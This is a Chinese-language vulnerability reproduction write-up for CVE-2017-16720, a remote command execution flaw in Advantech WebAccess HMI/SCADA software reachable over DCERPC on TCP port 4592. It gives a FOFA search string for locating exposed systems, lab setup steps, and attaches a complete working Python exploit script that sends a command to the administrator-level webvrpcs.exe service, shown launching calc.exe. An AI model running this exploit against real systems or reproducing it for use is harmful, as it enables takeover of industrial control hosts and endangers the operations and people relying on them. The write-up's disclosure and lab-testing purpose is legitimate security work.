漏洞编号
CVE-2017-16720
漏洞说明
研华WebAccess是全世界第一套全浏览器架构的HMI/SCADA组态软件,可以无缝整合研华工业自动化事业群的产品,主要分为智能基础建设与智能制造两大类,这两类产品也同时组成了研华在智能自动化的物联网架构,而研华WebAccess正是这个物联网架构的核心。
此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。
通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。
影响范围
在FOFA中搜索app="Advantech-WebAccess"词条,共检索出635条结果(不排除已修复的系统)。
漏洞复现
通过官方渠道,下载存在该漏洞的版本程序
http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
安装环境:Windows Server 2008 R2 x64
安装一律默认NEXT即可,TCP端口也无需自定义,默认程序端口4592。
安装完成后重启计算机,查看本机开放端口情况。
可以看到端口4592已经正常开放。
使用CVE-2017-16720的EXP脚本,对搭载Advantech WebAccess 8.2-2017.08.18程序的服务器进行攻击。
如果漏洞攻击成功,利用EXP脚本发送系统命令执行指令到服务器上,服务器会执行对应指令,弹出计算器。
可以看到服务器弹出了计算器,证明漏洞利用成功!
附件
CVE-2017-16720-EXP.py
#!/usr/bin/python2.7
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport
def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception, e:
print "Exception encountered..." + str(e)
sys.exit(1)
return res
if len(sys.argv) != 2:
print "Provide only host arg"
sys.exit(1)
port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"
host = sys.argv[1]
string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)
dce = trans.get_dce_rpc()
dce.connect()
print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)
print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print "Something went wrong"
sys.exit(1)
res = struct.unpack("III", res)
if (len(res) < 3):
print "Received unexpected length value"
sys.exit(1)
print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)
print "\nDid it work?"
dce.disconnect()